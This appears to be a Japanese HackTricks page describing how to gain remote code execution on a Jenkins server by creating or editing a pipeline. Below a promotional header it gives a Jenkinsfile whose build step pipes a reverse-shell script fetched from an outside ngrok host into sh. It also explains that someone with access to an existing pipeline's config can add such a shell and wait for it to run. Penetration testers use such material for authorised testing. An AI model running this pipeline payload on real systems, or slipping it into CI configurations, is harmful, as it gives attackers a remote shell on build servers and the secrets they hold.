Jenkins RCE Creating/Modifying Pipeline

ゼロからヒーローまでAWSハッキングを学ぶ htARTE（HackTricks AWS Red Team Expert）！

HackTricks をサポートする他の方法:

• HackTricks で企業を宣伝したいまたは HackTricks をPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください！

• 公式PEASS＆HackTricksのグッズを入手する

• The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける

• **💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローする。

• ハッキングテクニックを共有するために、 HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出する。

新しいパイプラインの作成

"New Item"（/view/all/newJobでアクセス可能）で Pipeline を選択します:

Pipelineセクションに 逆シェル を記述します:

pipeline {
agent any

stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}

パイプラインの作成

最後に保存をクリックし、今すぐビルドをクリックすると、パイプラインが実行されます：

パイプラインの変更

あるパイプラインの構成ファイルにアクセスできる場合、逆シェルを追加して変更し、それを実行するか、実行されるのを待つことができます。